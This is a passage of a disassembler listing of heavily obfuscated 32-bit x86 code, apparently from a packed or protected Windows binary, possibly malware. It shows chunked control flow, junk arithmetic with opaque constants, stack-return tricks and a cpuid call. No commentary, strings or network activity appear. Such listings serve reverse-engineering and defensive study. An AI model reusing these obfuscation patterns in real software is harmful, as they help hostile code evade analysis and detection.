FUNCTION CHUNK AT 0042918B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004293BB SIZE 0000000D BYTES mov [esp+0], eax pop eax xor ebx, ebx xor ecx, ecx xor edx, edx cpuid add [esi], eax jmp loc_42918B sub_424907 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42491A: ; CODE XREF: wto1jq8f:0042CDC5j call sub_424406 ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42491F: ; CODE XREF: sub_42D9D9:loc_426E8Ej call sub_42BE69 loc_424924: ; CODE XREF: sub_42A909-1A2Bj jmp loc_42C9C9 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AE5 loc_424929: ; CODE XREF: sub_428AE5-2EAAj jmp loc_42F5FB ; END OF FUNCTION CHUNK FOR sub_428AE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42492E: ; CODE XREF: sub_426535+76F4j xor eax, 0DEC52FB9h loc_424934: ; CODE XREF: wto1jq8f:loc_42416Bj ; wto1jq8f:00425049j ... jns loc_42BDAA cmp dword ptr [ebp-4], 6 jnz loc_42F4F4 jmp loc_4277FA ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_424949: ; CODE XREF: sub_429BFF-BF3j mov eax, [ebp-8] call sub_42A56D pop ecx loc_424952: ; CODE XREF: wto1jq8f:0042E8C5j pop ecx jmp near ptr loc_42F975+4 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_424958: ; CODE XREF: sub_429471:loc_4260BFj ; DATA XREF: sub_427F8F:loc_42C20Bo mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_42496E add dword ptr [ebp-8], 4 jmp loc_42AA82 ; --------------------------------------------------------------------------- loc_42496E: ; CODE XREF: sub_429471-4B12j add dword ptr [ebp-8], 2 jmp loc_42AA82 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_424977: ; CODE XREF: sub_42DC5C+15Bj adc edi, 88FD7ED1h test edx, 0B5BB1D04h jmp loc_429DB2 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_424988: ; DATA XREF: sub_426012:loc_42635Eo push edx push edi push 36AA6C02h pop edi jmp loc_4276FC ; --------------------------------------------------------------------------- loc_424995: ; CODE XREF: wto1jq8f:0042E425j jnb loc_42BDFE pushf jl loc_426931 mov esi, 6D5B5F8Eh jmp near ptr loc_42F146+3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_4249AC: ; CODE XREF: sub_42760F+Aj jnz loc_42A7C4 loc_4249B2: ; CODE XREF: sub_42CA12:loc_42EC6Fj jnb loc_42DEDC lea eax, [ebp-125h] push eax call sub_42B02D mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_42D900 jmp loc_427772 ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_4249D6: ; CODE XREF: sub_429165:loc_42D608j cmp [ebp+var_4], 0 jz loc_4250CA mov eax, [ebp+var_4] push offset loc_428F04 jmp near ptr loc_42F8E4+1 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_4249ED: ; CODE XREF: sub_42DB52:loc_42E086j pop edx add edx, 0B82782FFh or edx, 7ECFEFC1h jnz loc_42AD77 jmp loc_4288DE ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_424A05: ; CODE XREF: sub_42D9D9-932j jmp nullsub_39 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- push 0B406C6D0h jnz loc_42AB5D jmp loc_42AD69 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_42D133 loc_424A23: ; DATA XREF: sub_426086+Ao add eax, ebp add eax, 55C45975h mov dword ptr [eax], 474244h push 0 push 0C9F21593h pop eax add eax, 7F9EC428h jmp loc_424812 ; --------------------------------------------------------------------------- loc_424A44: ; DATA XREF: sub_42C6B1-24FFo mov ebp, esp call sub_42750A and ecx, edi add eax, 0A8DD7161h call sub_4246D4 locret_424A58: ; CODE XREF: wto1jq8f:0042838Aj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE87 loc_424A59: ; CODE XREF: sub_42DE87+Dj jmp loc_428116 ; END OF FUNCTION CHUNK FOR sub_42DE87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_424A5E: ; CODE XREF: sub_42D9D9-5002j jmp nullsub_40 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- locret_424A63: ; CODE XREF: wto1jq8f:loc_42E3E5j retn ; --------------------------------------------------------------------------- loc_424A64: ; CODE XREF: wto1jq8f:0042C5CFj jmp loc_428D27 ; --------------------------------------------------------------------------- jmp loc_42A9C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_424A6E: ; CODE XREF: sub_424D58+7713j or eax, eax jnz loc_42A041 jmp loc_4243EA ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- retn 0DBE9h ; --------------------------------------------------------------------------- db 0ACh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_424A82: ; CODE XREF: sub_42DC5C:loc_428D05j call near ptr sub_424859 pop ecx mov eax, [ebp-4] ; END OF FUNCTION CHUNK FOR sub_42DC5C ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_424A8B: ; CODE XREF: sub_42A3DA:loc_428C6Cj pushf push 2BEC3172h pop edx add edx, 2417B798h jmp loc_4281F5 ; END OF FUNCTION CHUNK FOR sub_42A3DA ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 0F8h dd 0B00001Ch, 0FC8EE9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_424AAA: ; CODE XREF: sub_42A197+Ej mov al, [ebp-0Ah] shr eax, 4 call sub_42D434 loc_424AB5: ; DATA XREF: wto1jq8f:loc_424812o add eax, ebp add eax, 0B66F2625h push eax call sub_42596F jmp loc_426E93 ; END OF FUNCTION CHUNK FOR sub_42A197 ; --------------------------------------------------------------------------- jnz loc_42D302 loc_424ACE: ; CODE XREF: wto1jq8f:004286BFj jmp loc_429A94 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A53 loc_424AD5: ; CODE XREF: sub_427A53+7j jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_427A53 ; --------------------------------------------------------------------------- word_424ADA dw 389h ; DATA XREF: sub_42B63C+19F0o dd 0F07D835Bh, 0C2840F00h, 0E9FFFFFAh, 46F5h, 41F8E8h dd 84D2E900h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_424AF6: ; CODE XREF: sub_42ADC7:loc_42CECCj jz loc_42CEF5 cmp ebx, 53EE830Ch push ebx push 0DF55336Bh xchg edi, [esp+0] mov ebx, edi pop edi jmp loc_428ECC ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- pop esi xor esi, 41760191h or esi, 1FEC9B2Eh push offset word_42D7BA jmp locret_42E75A ; --------------------------------------------------------------------------- locret_424B2A: ; CODE XREF: wto1jq8f:0042DA9Fj retn ; --------------------------------------------------------------------------- loc_424B2B: ; DATA XREF: sub_42760F-186Bo jnz loc_42D900 lea eax, [ebp-125h] push eax call sub_42D8F4 loc_424B3D: ; CODE XREF: wto1jq8f:0042B728j jmp loc_425E10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_424B42: ; CODE XREF: sub_42A467-5CC0j jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_42A467 ; =============== S U B R O U T I N E ======================================= sub_424B47 proc near ; CODE XREF: wto1jq8f:00428A85p mov [esp+0], eax rol eax, 17h call sub_424E0E sub_424B47 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42B353 loc_424B52: ; CODE XREF: sub_42B353:loc_424DE2j xchg edi, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- loc_424B56: ; CODE XREF: wto1jq8f:0042AA9Fj jmp loc_4299BE ; --------------------------------------------------------------------------- loc_424B5B: ; DATA XREF: wto1jq8f:0042B2BAo or edi, 0A659CC47h call sub_42B339 ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_424B66: ; CODE XREF: sub_42D9D9-3C39j jmp loc_426994 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42433B loc_424B6B: ; CODE XREF: sub_42433B+11j jmp loc_42CC05 ; END OF FUNCTION CHUNK FOR sub_42433B ; =============== S U B R O U T I N E ======================================= sub_424B70 proc near ; CODE XREF: wto1jq8f:00428967p var_4 = dword ptr -4 push ecx mov [esp+4+var_4], ebp call sub_4278BD sub_424B70 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42BEF6 loc_424B79: ; CODE XREF: sub_42BEF6+1Cj sub eax, ebx cmp ecx, 641D3431h xor ecx, eax sbb ebx, ecx and eax, 0DF04398Ch ror edx, 3 jmp loc_424E2D ; END OF FUNCTION CHUNK FOR sub_42BEF6 ; =============== S U B R O U T I N E ======================================= sub_424B93 proc near ; FUNCTION CHUNK AT 0042D989 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042DF9C SIZE 00000005 BYTES xchg esi, [esp+0] call eax mov [ebp-4], eax loc_424B9B: ; CODE XREF: wto1jq8f:0042B6E7j dec ds:dword_42F1CC mov eax, [ebp-4] pop ecx jmp loc_42DF9C sub_424B93 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424BAA: ; CODE XREF: wto1jq8f:0042EC80j not edx ; =============== S U B R O U T I N E ======================================= sub_424BAC proc far ; CODE XREF: sub_426535:loc_42AB09p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_5C5BBE8B = dword ptr 5C5BBE8Fh ; FUNCTION CHUNK AT 004262AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D6FF SIZE 0000000D BYTES mov [esp+0], esi pop esi mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jnz loc_42D6FF jmp loc_4262AB sub_424BAC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_424BC5: ; CODE XREF: sub_426535:loc_42AC2Fj mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jmp loc_4275CC ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_424BD4 proc far ; DATA XREF: sub_42C4E2-30BBo ; FUNCTION CHUNK AT 00426758 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427041 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042793B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428564 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428FC1 SIZE 00000005 BYTES jnz loc_428564 mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 6 setz al jmp loc_428FC1 sub_424BD4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_424BEA: ; CODE XREF: sub_42E5B2:loc_42EAD7j pop eax cmp dword ptr [eax], 0 jnz loc_42E5C2 jmp loc_425CFA ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; =============== S U B R O U T I N E ======================================= sub_424BF9 proc near ; CODE XREF: wto1jq8f:00429223p ; sub_42E5B2-5378p ... ; FUNCTION CHUNK AT 004268C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275F5 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00428B8F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428BDA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429DF4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042C114 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042CE4E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042DA75 SIZE 00000005 BYTES jo sub_429DFC push ebp jmp loc_4275F5 sub_424BF9 endp ; --------------------------------------------------------------------------- loc_424C05: ; CODE XREF: wto1jq8f:0042A8BBj jnz loc_42C8D1 jmp loc_4269EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AE8 loc_424C10: ; CODE XREF: sub_429AE8+19j add eax, 0C1DA0F1Fh sub eax, 0A66F9C11h xor eax, 2DB8E88Fh add eax, ebp push offset loc_4261F9 jmp locret_42659D ; END OF FUNCTION CHUNK FOR sub_429AE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_424C2E: ; CODE XREF: sub_42EDB9:loc_4285D0j ror eax, 1 add eax, edx jnp loc_42D545 jmp loc_42E79B ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A9E loc_424C3D: ; CODE XREF: sub_427A9E:loc_424E42j call sub_424585 push offset loc_42BA1C jmp nullsub_23 ; END OF FUNCTION CHUNK FOR sub_427A9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_424C4C: ; CODE XREF: sub_429BD3+8j push 0E33D181Eh pop eax xor eax, 0E33D193Eh push offset loc_42C7C0 jmp nullsub_98 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_424C63: ; CODE XREF: sub_4267AE+4642j jmp loc_428AB1 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- loc_424C68: ; CODE XREF: wto1jq8f:00429AE3j jmp loc_428C9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_424C6D: ; CODE XREF: sub_42DC5C-473Dj jmp loc_42BE01 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- dw 0F081h dd 62C68F88h, 0C081C503h, 863E77E4h, 0E850008Bh, 0FFFFF4C4h dd 840FC085h, 0A918h, 0FFFDD4E9h, 241C87FFh, 0FFFD7EE8h dd 936851FFh, 59B91861h, 20EBE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_424CA9: ; CODE XREF: wto1jq8f:00428101j ; sub_428333+7j ... jz loc_42869C test eax, 2 jz loc_4272DE jmp loc_42C906 ; END OF FUNCTION CHUNK FOR sub_428333 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_424CBF: ; CODE XREF: sub_426535+3A0Fj xor ecx, 0A89E171h jnb loc_42DF09 jmp loc_42D260 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- and ebp, ecx jmp loc_424303 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424CD8: ; CODE XREF: wto1jq8f:0042437Dj jmp locret_426D1D ; --------------------------------------------------------------------------- jz loc_42C4A2 ; START OF FUNCTION CHUNK FOR sub_429471 loc_424CE3: ; CODE XREF: sub_429471:loc_426615j jmp loc_42F73D ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_424CE8: ; CODE XREF: wto1jq8f:0042C1D6j ; wto1jq8f:0042D0FAj push eax push 5779C8FBh pop eax xor eax, 0AA7B75A7h add eax, ebp add eax, 2FD42B4h mov eax, [eax] jmp loc_42FD3D ; --------------------------------------------------------------------------- jo loc_42F9E4 shr edi, 5 add esi, 77202386h jmp loc_42C73E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_424D18: ; CODE XREF: sub_428D47:loc_428D57j xor edx, edx div ecx mov [ebp-1Ch], edx mov eax, [ebp-0Ch] jmp loc_425A3B ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- loc_424D27: ; CODE XREF: wto1jq8f:004242E9j ; wto1jq8f:0042AB2Fj call near ptr sub_42CB36 test al, al jz loc_42FF67 call sub_424D3A retn ; =============== S U B R O U T I N E ======================================= sub_424D3A proc near ; CODE XREF: wto1jq8f:00424D34p ; FUNCTION CHUNK AT 0042A757 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042B406 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B8EB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042C9C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D8A9 SIZE 0000000B BYTES push ebp loc_424D3B: ; CODE XREF: sub_42A909:loc_42AFA5j jmp loc_42A757 sub_424D3A endp ; --------------------------------------------------------------------------- loc_424D40: ; DATA XREF: sub_426456+1o mov ebp, esp push ecx mov esp, ebp mov ebp, offset sub_424D58 xchg ebp, [esp] retn ; --------------------------------------------------------------------------- loc_424D4E: ; CODE XREF: wto1jq8f:0042AF3Bj jmp locret_42B284 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_424D53: ; CODE XREF: sub_426535+186Dj jmp loc_42E910 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_424D58 proc far ; DATA XREF: wto1jq8f:00424D45o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004243EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424A6E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426714 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004286D8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042915B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004292D5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042A041 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A7EF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042C45E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C585 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E92E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FA6C SIZE 00000015 BYTES mov eax, dword ptr ds:loc_42F0A4 jmp loc_42C45E sub_424D58 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_424D63 proc near ; CODE XREF: sub_429165:loc_42BBC3j add esp, 0FFFFFED8h call sub_42FC41 sub_424D63 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_424D6E: ; CODE XREF: sub_42DC5C-5405j jnz loc_42CFF7 jmp loc_42D844 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- push eax rol eax, 1Ch mov ds:dword_42F084, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_424D84: ; CODE XREF: sub_42DC5C+B2j jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_424D89: ; CODE XREF: wto1jq8f:0042E9B2j ror eax, 1Ch push edx mov [esp], eax retn ; --------------------------------------------------------------------------- loc_424D91: ; CODE XREF: wto1jq8f:loc_42A7FEj add eax, 4 ; START OF FUNCTION CHUNK FOR sub_426842 loc_424D94: ; CODE XREF: sub_426842:loc_429700j mov edi, [eax] add eax, 4 mov esi, [eax] jmp loc_42D51B ; END OF FUNCTION CHUNK FOR sub_426842 ; =============== S U B R O U T I N E ======================================= sub_424DA0 proc near arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425BFD SIZE 00000005 BYTES mov [esp+0], ecx mov esp, ebp pop ebp call sub_426166 loc_424DAB: ; CODE XREF: wto1jq8f:0042A675j mov [esp-4+arg_0], eax pop eax loc_424DAF: ; CODE XREF: wto1jq8f:0042BDCEj pop eax push eax push eax jmp loc_425BFD sub_424DA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424309 loc_424DB7: ; CODE XREF: sub_424309:loc_42694Bj push eax mov eax, esp loc_424DBA: ; CODE XREF: wto1jq8f:00429655j push 0 mov edx, esp push eax mov eax, edx xchg eax, [esp+0] jmp loc_42679C ; END OF FUNCTION CHUNK FOR sub_424309 ; --------------------------------------------------------------------------- sbb edi, 0B99617ABh jmp sub_4292B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_424DD4: ; CODE XREF: sub_42B353:loc_42CAE4j add eax, 1C6061AEh mov eax, [eax] popf loc_424DDD: ; CODE XREF: wto1jq8f:loc_42B97Aj call sub_4293FF loc_424DE2: ; CODE XREF: wto1jq8f:0042B2BFj jmp loc_424B52 ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C0C loc_424DE7: ; CODE XREF: sub_428C0C+Aj jmp loc_424EDF ; END OF FUNCTION CHUNK FOR sub_428C0C ; --------------------------------------------------------------------------- jz loc_429363 jmp loc_42C9F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A0E5 loc_424DF7: ; CODE XREF: sub_42A0E5-528Dj jge loc_426527 jmp loc_42D0D8 ; END OF FUNCTION CHUNK FOR sub_42A0E5 ; --------------------------------------------------------------------------- popf jmp loc_42651E ; --------------------------------------------------------------------------- loc_424E08: ; CODE XREF: wto1jq8f:00427546j jns nullsub_65 ; =============== S U B R O U T I N E ======================================= sub_424E0E proc near ; CODE XREF: sub_424B47+6p xchg edx, [esp+0] pop edx mov ds:dword_42E528, eax jmp nullsub_116 sub_424E0E endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_424E1D: ; CODE XREF: wto1jq8f:00428879j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_424E1E: ; CODE XREF: sub_426C0C+Ej jmp loc_426A67 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- push 0F6977AA5h jmp near ptr sub_42A5C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BEF6 loc_424E2D: ; CODE XREF: sub_42BEF6-7368j ; wto1jq8f:loc_42BD4Aj pop eax pop ebx pop edx pop ecx pop ebp jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_42BEF6 ; --------------------------------------------------------------------------- call sub_42DA35 ; START OF FUNCTION CHUNK FOR sub_4244EA loc_424E3C: ; CODE XREF: sub_4244EA+8AD9j jmp loc_427CB8 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- locret_424E41: ; CODE XREF: wto1jq8f:00426B83j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A9E loc_424E42: ; CODE XREF: sub_427A9E+480Fj jmp loc_424C3D ; END OF FUNCTION CHUNK FOR sub_427A9E ; --------------------------------------------------------------------------- cmp esi, 2966A957h jmp loc_4244E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A0E5 loc_424E52: ; CODE XREF: sub_42A0E5+11j cmp ebx, 0BE0D82AEh jmp loc_424DF7 ; END OF FUNCTION CHUNK FOR sub_42A0E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_424E5D: ; CODE XREF: sub_429471+465Aj sub esi, 1FF44236h add ebp, 0E51CF9F4h jmp loc_426615 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_424E6E: ; CODE XREF: wto1jq8f:0042E889j jle loc_429F23 adc edi, ecx jmp loc_42BB4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_424E7B: ; CODE XREF: sub_4284EC:loc_42ACCAj push 0D45DEBE0h pop edx add edx, 900248Fh push eax pushf push 13A91888h jmp loc_42B599 ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_424E93: ; CODE XREF: sub_42B276:loc_42E838j push edi push 0ECD5198Bh pop edi add edi, 136D69D1h xchg edi, [esp+4+var_4] jmp sub_428183 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- jz loc_42664B jmp loc_428E58 ; --------------------------------------------------------------------------- byte_424EB3 db 0Bh ; CODE XREF: wto1jq8f:0042ED93j ; --------------------------------------------------------------------------- retn 4589h ; --------------------------------------------------------------------------- db 0E4h dd 8BE045FFh, 0FF25E445h, 0E9000000h, 9FC8h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_424EC9: ; CODE XREF: sub_426968+78AAj jmp nullsub_55 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_424ECE: ; CODE XREF: sub_426842+5B61j jmp loc_42DD69 ; END OF FUNCTION CHUNK FOR sub_426842 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_424ED3: ; CODE XREF: sub_42BB8A-2F60j shl eax, 3 add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh ; END OF FUNCTION CHUNK FOR sub_42BB8A ; START OF FUNCTION CHUNK FOR sub_428C0C loc_424EDF: ; CODE XREF: sub_428C0C:loc_424DE7j xor [ebp-8], eax jmp loc_4259DD ; END OF FUNCTION CHUNK FOR sub_428C0C ; --------------------------------------------------------------------------- loc_424EE7: ; CODE XREF: wto1jq8f:00424271j popf mov edi, 785A29F6h loc_424EED: ; CODE XREF: wto1jq8f:0042CE1Cj mov eax, [ebp-4] cmp dword ptr [eax+3Ch], 0 jz near ptr loc_42F5A7+1 jmp loc_427B8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_424EFF: ; CODE XREF: sub_429165+2A70j xor eax, eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jz loc_4250CA call sub_427A9E jmp loc_42A1C7 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E5B loc_424F18: ; CODE XREF: sub_429E5B+Bj call sub_42660F retn ; END OF FUNCTION CHUNK FOR sub_429E5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_424F1E: ; CODE XREF: sub_4244EA+59AAj jmp loc_42D7A8 ; END OF FUNCTION CHUNK FOR sub_4244EA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F23 proc near ; CODE XREF: wto1jq8f:0042D307p ; sub_42DF80+3j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00426392 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004269E5 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_8], eax jmp loc_426392 sub_424F23 endp ; =============== S U B R O U T I N E ======================================= sub_424F31 proc near ; DATA XREF: sub_42C88D+Fo ; FUNCTION CHUNK AT 0042EBEA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ECD7 SIZE 0000001F BYTES call sub_429165 call sub_424585 mov edx, 0F2B89A19h call sub_429165 push ebx jmp loc_42ECD7 sub_424F31 endp ; --------------------------------------------------------------------------- pop ecx jmp near ptr sub_42A3DA ; --------------------------------------------------------------------------- loc_424F51: ; CODE XREF: wto1jq8f:0042A8C9j sbb edx, 7F561988h xchg edi, edx add edx, 8CB9B1C0h loc_424F5F: ; CODE XREF: wto1jq8f:loc_425AF9j mov eax, [ebp-4] xor edx, edx jmp loc_426266 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- xchg ecx, [esp] pop ecx mov ds:dword_42905C, eax retn ; --------------------------------------------------------------------------- loc_424F75: ; CODE XREF: wto1jq8f:00429D3Ej jmp loc_42EAB5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F7A proc near ; CODE XREF: sub_42B855j ; FUNCTION CHUNK AT 0042755A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427840 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004280B2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042CA31 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D093 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042D91B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042E99D SIZE 00000006 BYTES push ebp mov ebp, esp push ecx jmp loc_42755A sub_424F7A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= 